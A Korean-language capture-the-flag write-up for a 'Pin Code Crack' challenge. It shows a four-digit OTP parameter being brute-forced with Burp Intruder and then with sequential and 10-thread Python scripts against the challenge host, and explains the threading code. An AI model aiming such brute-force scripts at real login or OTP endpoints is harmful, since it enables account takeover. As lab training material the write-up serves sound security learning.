ctf 풀이 (Pin Code Crack)
ctf 문제 풀이
Pin Code Crack
풀이
1> 1111 보내보기
checkOTP.php에 get으로 핀번호를 보내는 것을 확인했습니다.
2> 공격방법 생각해 보기
핀번호의 범위가 정해져 있고, 여러 번 시도해도 잠금이 걸리지 않으니 브루트 포스 공격이 적당할 것 같습니다.
버프스위트의 intruder를 이용해서 시도해 보겠습니다.
3> burp suite
/6/checkOTP.php?otpNum=§1111§의 §사이의 값을 0000부터 9999까지 1씩 증가하면서 요청을 보냅니다.
그런데 무료버전의 burp는 매우 느리기 때문에 python을 사용하도록 하겠습니다.
4> python
실패했을 때의 응답인 <script>alert('Login Fail...');</script><script>location.href='login.php';</script>와 비교해서
다른 응답이 온다면 반복문을 멈추고 결과를 출력합니다.
1021을 입력하면 index.php로 이동하라는 응답이 옵니다.
import requests
url = "http://ctf.segfaulthub.com:1129/6/checkOTP.php?otpNum="
result = ""
fail_text = "<script>alert('Login Fail...');</script><script>location.href='login.php';</script>"
for i in range(0000, 10000):
response = requests.get(url+f"{i:04d}")
print(f"{i:04d} Response : {response.text}")
if fail_text != response.text:
result = i
break
print(f"PIN NUMBER : {result}")
5> 스레드를 이용하기
python을 이용해도 한 번에 1개의 요청만 보내서 9999까지 매우 오랜 시간이 걸립니다.
10개의 스레드를 이용해서 0000-1000, 1000-2000 같은 식으로 일을 나눠서 진행하겠습니다.
import requests
import threading
url = "http://ctf.segfaulthub.com:1129/6/checkOTP.php?otpNum="
result = ""
fail_text = "<script>alert('Login Fail...');</script><script>location.href='login.php';</script>"
threads = []
threads_count = 10
lock = threading.Lock()
stop_event = threading.Event()
max_num = 10000
num_per_thread = max_num // threads_count
def brute_force(start, end, stop_event):
for i in range(start, end):
if stop_event.is_set():
break
response = requests.get(url+f"{i:04d}")
with lock:
print(f"{i:04d} Response : {response.text}")
if fail_text != response.text:
global result
stop_event.set()
result = i
break
for thread_num in range(threads_count):
start = thread_num * num_per_thread
end = start + num_per_thread
t = threading.Thread(target=brute_force, args=(start, end, stop_event))
threads.append(t)
t.start()
for t in threads:
t.join()
print(f"PIN NUMBER : {result}")
stop_event = threading.Event()
def brute_force(start, end, stop_event):
for i in range(start, end):
if stop_event.is_set():
brute_force 함수는 시작하는 수와 끝나는 수, stop_event가 있습니다.
for i in range(start, end):
if stop_event.is_set():
break
response = requests.get(url+f"{i:04d}")
start와 end사이의 숫자를 i에 넣으면서 반복문을 돕니다.
stop_event가 set 되면 반복문을 종료합니다.
with lock:
print(f"{i:04d} Response : {response.text}")
스레드들이 동시에 출력해서 결과가 섞이는 것을 막기 위해 with lock을 사용합니다.
if fail_text != response.text:
global result
stop_event.set()
result = i
break
실패응답과 다른 응답이 온다면 stop_event를 set 하고 result에 핀번호를 넣고 반복문을 종료합니다.
for thread_num in range(threads_count):
start = thread_num * num_per_thread
end = start + num_per_thread
t = threading.Thread(target=brute_force, args=(start, end, stop_event))
threads.append(t)
t.start()
스레드를 생성하고 threads 리스트에 추가하고 스레드를 실행합니다.
for t in threads:
t.join()
스레드가 모두 종료될 때까지 기다립니다.